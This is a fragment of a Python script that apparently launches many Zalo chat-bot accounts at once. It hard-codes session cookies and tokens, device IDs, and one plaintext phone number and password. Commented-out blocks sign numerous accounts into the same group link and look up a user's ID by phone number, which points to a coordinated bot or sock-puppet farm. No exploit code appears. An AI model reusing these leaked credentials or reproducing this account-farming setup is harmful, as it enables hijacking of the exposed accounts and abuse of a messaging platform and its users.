ThreadPoolExecutor(max_workers=10).submit(ZaloBot("</>", "</>", imei="DNgocDzVcl", session_cookies={"nl_bc25f23638b0498c4e36dd20731c2c28": "tzaoLC8i6ltBrpLLm24SyyxPCq7JU7osdzuH2ZenVG", "zpdid": "4XFva5V-fZOG4vwPKlNCDXGNd9fJyCuo", "zlogin_session": "kW4JGLyjCnIxFnDDLXTbH-Tj1qDH5cTAuMCVM0XUQLAg8WjI15vcKweX1bS4LMj5VG", "zpsid": "ChiT.358673719.46.qCZZSQ-UyjIOSvB1evxorDhjWEUQfiJZdAd3xGyX1hUTRz1rhiHK-iQUyjG", "_zlang": "vn", "zlogtype": "NwQOL9YZqQhp_wfDCuWjRcBHkrI7XBdVeydISmsO5bzdqRnd_xhdgU7o", "zpw_sek": "aG86.358673719.a0.pu1sj9Qco_2XIwlbjwRByEs4hfkqdEd3vzEQgEpac9Vka-2QsC6-t_dblQR7c_RIwmPq1FMKEj8tfv5MkC_By0"}, prefix="·")._listen_ws)
ThreadPoolExecutor(max_workers=10).submit(ZaloBot("0379612067", "Ngokhong1234", imei="TahnDz", session_cookies={"nl_bc25f23638b0498c4e36dd20731c2c28": "tzaoLC8i6ltBrpPQnIqUySBHFqFVS72qazOT23enVG", "zpdid": "4HFub5VrgpyL6PEGL_h0EXeSbv5P_SO_", "zlogin_session": "kW4JGLyjCnIxFnDDLXTbH-Tj1qDI6M96us4QL0fSR5we80vU1bnZNwWZ0ri6Lsv9VG", "zpsid": "u5ZJ.448900959.2.s4_sN3BLRvzjUgw5FjLldqUc7Qi6xLQl0knQff9gc_m094q-CtReiblLRvy", "_zlang": "vn", "zlogtype": "4KVQf_EpR51nMgxdnWu4pomm-QVib0Gb8MpMsVWUF_ufCFwKbAfQKsDN", "zpw_sek": "qmq3.448900959.a0.26OKlf-dml7020FhlgV2yUI5fvgzdU2I_kEMeyZif9JBvAgM_Uxokl3Gj8NEcl_JuWTz1VoLCzC-fcLsiix2yG"}, prefix="..")._listen_ws)
# thread.submit(ZaloBot('</>', "</>", imei="03daa8dc-12d5-4b3e-a952-8f73c121964b-f318d71f51e2f42138d3a75f6a7137a8", session_cookies={"_ga":"GA1.2.895849706.1749196671","__zi":"3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8WycEsbdKPGZtMGugVOHbwDUfNgfp4s.1","__zi-legacy":"3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8WycEsbdKPGZtMGugVOHbwDUfNgfp4s.1","ozi":"2000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjMXe9fFM8yvdEkYb4fSXZcOfQkQInc6Dvgghf9B7eG.1","_zlang":"vn","_gid":"GA1.2.627559139.1750896651","zpsid":"lhY5.421015986.4.IgNvKf-nmlijWDhYax72--h2iC-jWFBAgeZwpP4EMf-jGE1QdeHIf_Unmli","zpw_sek":"JVyz.421015986.a0.7FFsMnxFGvci_bk0Fyz3cMNj9l8yzM7mVBSWzK-sTCfDc1dnPlericgbAEzFydwxOy7y0Nhzihk_pdO9GgT3cG","app.event.zalo.me":"1009535892136239499"}, prefix="!")._listen_ws)
# thread.submit(ZaloBot('</>', "</>", imei="00cb46a1-e365-460e-958f-7ae9a7580d1e-cd5d5f3ff8f374827248e13d2f7d64ca", session_cookies={"zputm_source":"","zputm_medium":"","zputm_campaign":"","zpsrc":"","_ga":"GA1.2.1124677618.1749657561","_gid":"GA1.2.1769448331.1749657561","_ga_VM4ZJE1265":"GS2.2.s1749657561$o1$g0$t1749657561$j60$l0$h0","ZConsent":"timestamp=1749657567128&location=https://zalo.me/pc","_ga_RYD7END4JE":"GS2.2.s1749657564$o1$g1$t1749657568$j56$l0$h0","_zlang":"vn","__zi":"3000.SSZzejyD0jydXQckra00a3BBfxQL71AQV8UZjTbK5frvXQBzt5KJs7w7eV7SM1NPCm.1","__zi-legacy":"3000.SSZzejyD0jydXQckra00a3BBfxQL71AQV8UZjTbK5frvXQBzt5KJs7w7eV7SM1NPCm.1","ozi":"2000.SSZzejyD0jydXQckra00a3BBfxQK71AQVOUaiTnH5fHuXw6ztHmLbdt2fh_U41MRCJGp.1","app.event.zalo.me":"1236387790567478433","zpsid":"-aQq.431404461.2.tfcszaBu7xBlJQchJlWViZUBROPnoIk2TimfW-a5x9vm2JqJGtUH-2hu7x8","zpw_sek":"W6rN.431404461.a0.O6OpVuAct_0l4sdfewRVyFc4kfkWdFsvxjojYlVrhB6pbA_VslBcYUYLhCdJc-BI_mqY0wwKBj8Zfqz-oCxVy0"}, prefix=",")._listen_ws)
# thread.submit(ZaloBot("</>", "</>", imei="4cd923b3-37b4-45b1-a5ce-f924c7b0a9dc-c92baae71318dc81de51a663df2f8b4f", session_cookies={"_gid": "GA1.2.1709981376.1748933547", "_zlang": "vn", "googtrans": "/auto/vi", "_ga": "GA1.2.974027586.1748933546", "_ga_907M127EPP": "GS2.1.s1748933546$o1$g1$t1748934418$j60$l0$h0", "_ga_RYD7END4JE": "GS2.2.s1748948874$o1$g1$t1748948876$j58$l0$h0", "zpsid": "gPGT.319123016.45.zctCmlyReb6tTQT2ynkYKOfeq6BE8fDZp2kJPqXAgSy4r__R_hzrRvSReb4", "zpw_sek": "SAKu.319123016.a0.CvqefKQa6_8EoXxXPwGRyZs6VfbadZc0RVPFsJR98uDja6gJC_rSnHVjRPWncIRGEnDA-TXVrw_CfRubUCmRyW", "__zi": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8y_aEoXc4TOYt2HwgFSJrk7S9_chp0m.1", "__zi-legacy": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8y_aEoXc4TOYt2HwgFSJrk7S9_chp0m.1", "ozi": "2000.QOBlzDCV2uGerkFzm09HrMVLxVd30LpJAzVk-uS9NzyhsUBtC30.1", "app.event.zalo.me": "8412978214247635273"}, prefix=",")._listen_ws)
# ZaloBot("</>", "</>", imei="4cd923b3-37b4-45b1-a5ce-f924c7b0a9dc-c92baae71318dc81de51a663df2f8b4f", session_cookies={"_gid": "GA1.2.1709981376.1748933547", "_zlang": "vn", "googtrans": "/auto/vi", "_ga": "GA1.2.974027586.1748933546", "_ga_907M127EPP": "GS2.1.s1748933546$o1$g1$t1748934418$j60$l0$h0", "_ga_RYD7END4JE": "GS2.2.s1748948874$o1$g1$t1748948876$j58$l0$h0", "zpsid": "gPGT.319123016.45.zctCmlyReb6tTQT2ynkYKOfeq6BE8fDZp2kJPqXAgSy4r__R_hzrRvSReb4", "zpw_sek": "SAKu.319123016.a0.CvqefKQa6_8EoXxXPwGRyZs6VfbadZc0RVPFsJR98uDja6gJC_rSnHVjRPWncIRGEnDA-TXVrw_CfRubUCmRyW", "__zi": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8y_aEoXc4TOYt2HwgFSJrk7S9_chp0m.1", "__zi-legacy": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8y_aEoXc4TOYt2HwgFSJrk7S9_chp0m.1", "ozi": "2000.QOBlzDCV2uGerkFzm09HrMVLxVd30LpJAzVk-uS9NzyhsUBtC30.1", "app.event.zalo.me": "8412978214247635273"}, prefix=",").joinbox("https://zalo.me/g/jhcoit194")
# thread.submit(ZaloBot("</>", "</>", imei="d51a3619-c7ac-450a-aa09-a526d07f9f09-f318d71f51e2f42138d3a75f6a7137a8", session_cookies={"__zi": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8WzaU-ZdKzSXdMPxgxPJLY1UvlfhpKt.1", "__zi-legacy": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8WzaU-ZdKzSXdMPxgxPJLY1UvlfhpKt.1", "_ga_907M127EPP": "GS2.1.s1748510000$o1$g1$t1748510346$j60$l0$h0", "_ga": "GA1.2.1773463636.1748333480", "_ga_NVN38N77J3": "GS2.2.s1748510347$o1$g1$t1748510737$j60$l0$h0", "_ga_E63JS7SPBL": "GS2.1.s1748510346$o1$g1$t1748510740$j56$l0$h0", "_zlang": "vn", "app.event.zalo.me": "2683933239265900470", "_gid": "GA1.2.423973167.1748779014", "zpsid": "rky0.438274969.11.ZZc9w8asr7mGlSjcXJRKVFn5faYw3kPBlG_YHOU9DWKt4NJCYDtWGU4sr7m", "zpw_sek": "Xj2N.438274969.a0.-HUlDdnL8GFbtZuPNLKX0mTtH6XURmDa6XDBH3i6R5S9OnXK30PhS1CJH4SzQ1mX0LkUuGNh1gFCLCmtGJqX0m"}, prefix="!")._listen_ws)
# thread.submit(ZaloBot("</>", "</>", imei="38b6da84-06eb-4617-8bd9-301db5542d51-b78b4e2d6c0a362c418b145fe44ed73f", session_cookies={"_ga": "GA1.2.473867626.1726985887", "_gid": "GA1.2.1891607682.1748858326", "_zlang": "vn", "zpsid": "AzjA.430125609.1.OLwKwnThIY4-MUau6sjA8M8OE1KaMtiJ8brw664jWmWbccY05aSy77zhIY4", "zpw_sek": "EeDD.430125609.a0.1VjXbhTowYIUG4azbdBg9CnGZq-LICXysqkTR_ySlLI02w8MXa6l5lOShcZ0JzS6oWIixPv06mOMSyTIYXhg90", "app.event.zalo.me": "1565577221139235379", "__zi": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8WzcUocd4XPWtIUwwtMG5Q4UvRYh34u.1", "__zi-legacy": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8WzcUocd4XPWtIUwwtMG5Q4UvRYh34u.1"}, prefix=",")._listen_ws)
client._listen_ws()

# thread.submit(client._listen_ws)
# client._listen_req(delay=0)
# link = "https://zalo.me/g/sejunk971"
# client = ZaloBot('</>', '</>', imei="0b6333f3-d61e-4876-a5e9-c923ae053d21-ffc3218438300d069a0fd5dfa5c6e851", session_cookies={"zpw_sek":"gYCH.432515808.a0.FqKcuZFARfpJOAc54ifkd4Ze2_SHy4ohMfW_w0M7NlXIcXlUOVW0qLYJMjrYzrE-JhuBMmg5nT1Hox6GbArkd0"})
# client.joinbox(str(link))
# selid = client.fetchPhoneNumber(phoneNumber='0357293117').uid
# print(client.fetchPhoneNumber(phoneNumber='0357293117').uid)
# selfid.append(selid)
# thread.submit(client._listen_ws)
# client = ZaloBot('</>', '</>', imei="4b474d80-eb43-4f89-8c53-bba7e699f33b-50041963ae561cfabe9225edff35b18f", session_cookies={"zpw_sek":"T8yT.407334851.a0.4RJaPclFDfcee761IiyscH3jK_99zHJT6vjT_IsYKkaezqJi7BXJgrczGEegyWkx5hw14eLmE276pdehpgWscG"})
# client.joinbox(str(link))
# selid = client.fetchPhoneNumber(phoneNumber='0357293117').uid
# print(client.fetchPhoneNumber(phoneNumber='0357293117').uid)
# selfid.append(selid)
# thread.submit(client._listen_ws)
# client = ZaloBot('</>', '</>', imei="cbdad2a5-6317-44fe-b3ed-5c3c89c16aca-b78b4e2d6c0a362c418b145fe44ed73f", session_cookies={"zpw_sek":"ep-U.307917143.a0.AHGWc7TeAZuW6N0iLcWgFWnAJrLLKWX68L53IIKH6qiEKKGD8m12Rn8aGsy0LHSS2XcJ4tvRn6RgQIW7tmygFW"})
# client.joinbox(str(link))
# selid = client.fetchPhoneNumber(phoneNumber='0357293117').uid
# print(client.fetchPhoneNumber(phoneNumber='0357293117').uid)
# selfid.append(selid)
# thread.submit(client._listen_ws)
# client = ZaloBot('</>', '</>', imei="00a81c2c-9d56-4e9d-b26a-4131ad564a9b-b78b4e2d6c0a362c418b145fe44ed73f", session_cookies={"zpw_sek":"80ok.373469333.a0.JN7FdwYpzUKz0xVpYRFrvTEHa8wAYTUdyl6bq-B-bfsVnAVJmD6YWUw6hwxvZiZ7rSuU2Vo06xqrijwk0DJrvG"})
# client.joinbox(str(link))
# selid = client.fetchPhoneNumber(phoneNumber='0357293117').uid
# print(client.fetchPhoneNumber(phoneNumber='0357293117').uid)
# selfid.append(selid)
# thread.submit(client._listen_ws)
# client = ZaloBot('</>', '</>', imei="9004f429-cab6-4147-bc3b-341dea17679c-b78b4e2d6c0a362c418b145fe44ed73f", session_cookies={"zpw_sek":"Pqt6.382738693.a0.eHEGUspcCR1fn-6cJUOni1V4LDjEt1Fq6P03-3kW2C0sqbE83vDPXG-40VmRsmoI4Sn1HDZLt-ZnvtZ0nO4ni0"})
# client.joinbox(str(link))
# selid = client.fetchPhoneNumber(phoneNumber='0357293117').uid
# print(client.fetchPhoneNumber(phoneNumber='0357293117').uid)
# selfid.append(selid)
# thread.submit(client._listen_ws)
# client = ZaloBot('</>', '</>', imei="665bfae7-35e9-4bfb-b121-f33520b6cc48-b78b4e2d6c0a362c418b145fe44ed73f", session_cookies={"zpw_sek":"R3Is.304564684.a0.gSqnz30NRK7yNafJ4HTjGKir22eIBKyfV4y22NnF9YzYHonqMM8e84f66IT7Ab1ZJHdIObSaWncj5awZbN1jGG"})
# client.joinbox(str(link))
# selid = client.fetchPhoneNumber(phoneNumber='0357293117').uid
# print(client.fetchPhoneNumber(phoneNumber='0357293117').uid)
# selfid.append(selid)
# thread.submit(client._listen_ws)
# client = ZaloBot('</>', '</>', imei="ea5a1e9f-90e6-45a7-af50-f02b50693d83-b78b4e2d6c0a362c418b145fe44ed73f", session_cookies={"zpw_sek":"8JoL.423364905.a0.ldhiozHmYIRzURK_zN299gzIx4tsIgiK_oF1N9m1pNpWHFz3X37PR9vR_ckpJRG4gLhukUj3Ptv9SOcPV1U99W"})
# client.joinbox(str(link))
# selid = client.fetchPhoneNumber(phoneNumber='0357293117').uid
# print(client.fetchPhoneNumber(phoneNumber='0357293117').uid)
# selfid.append(selid)
# thread.submit(client._listen_ws)
# client = ZaloBot('</>', '</>', imei="2bf389b6-51a0-4afb-a756-76d5abfd1d31-41770e408d453f0e18b6cf535e220c84", session_cookies={"zpw_sek":"-v5e.425695679.a0.i75Qh-01lLTVcE9EmG6zLviZs3p2Evyrpr65ODPA_sVGU_mKXZ256OXYvnoNF81rdGy2-e7Zt4D50EO8GsQzLm"})
# client.joinbox(str(link))
# selid = client.fetchPhoneNumber(phoneNumber='0357293117').uid
# print(client.fetchPhoneNumber(phoneNumber='0357293117').uid)
# selfid.append(selid)
# {"nl_bc25f23638b0498c4e36dd20731c2c28": "tzaoLC8i6lt8rZfLmIyIyiRPE43RU7UtbzuQ2penVG", "zpdid": "4H7taL7pgJeG496LKl33CX4Gb9rI_C8x", "zlogin_session": "kW4JGLyjCnIxFnDDLXTbH-Tj149U5cP4xs8ULWPVQ5oa9Wv25LfjNAGc2K8LMcHGVG", "zpsid": "FK5n.436411194.30.5t12foH1UGiUMdeHA45v2r4o2pyNTqqw5N10Fmuq5tozotm59V-Lean1UGi", "_zlang": "vn", "zlogtype": "48i8z0Oarj4ag2SQo-CR1YtyA_GP0xwaT9vV9FNp83Se_2p7OJtWqZQb", "zpw_sek": "i0Iz.436411194.a0.YDDCtL4n36ThAWzzS34CPoeJQGnp2ouiPtDL82LNG25fUMHVPLPE16b7Uomc3355B1jv2IQeXc9VCBEB-5aCPm"}
# {"_ga": "GA1.2.1568188016.1754563997", "_ga_VM4ZJE1265": "GS2.2.s1754563998$o1$g0$t1754563998$j60$l0$h0", "ozi": "2000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjMXe9fFM8yscUobbqXTY32RfAMJIHMCCPgWefD558W.1", "_ga_RYD7END4JE": "GS2.2.s1754631949$o2$g1$t1754631950$j59$l0$h0", "_zlang": "vn", "_gid": "GA1.2.2116293276.1755922368", "zpsid": "ECeV.439595988.11.iVJQG8kqrlvV1-NaXxJM_lx7fCguZUF7letknknQaxkvHVHVYa7fL-Eqrlu", "zpw_sek": "OwQY.439595988.a0.OzZEj9nHmGT8ul8TlL711-Tpf6o-Q-DryX2vLV0wi7Ef9ADz_G2cJDaOb6RxRFmbuJOlGjvZC2KzK3SuDJd11m", "app.event.zalo.me": "7506218702524837538", "__zi": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8WzaEYjd4vLYNIOvw3KIbI8S9_dh34s.1", "__zi-legacy": "3000.SSZzejyD6zOgdh2mtnLQWYQN_RAG01ICFjIXe9fEM8WzaEYjd4vLYNIOvw3KIbI8S9_dh34s.1"}
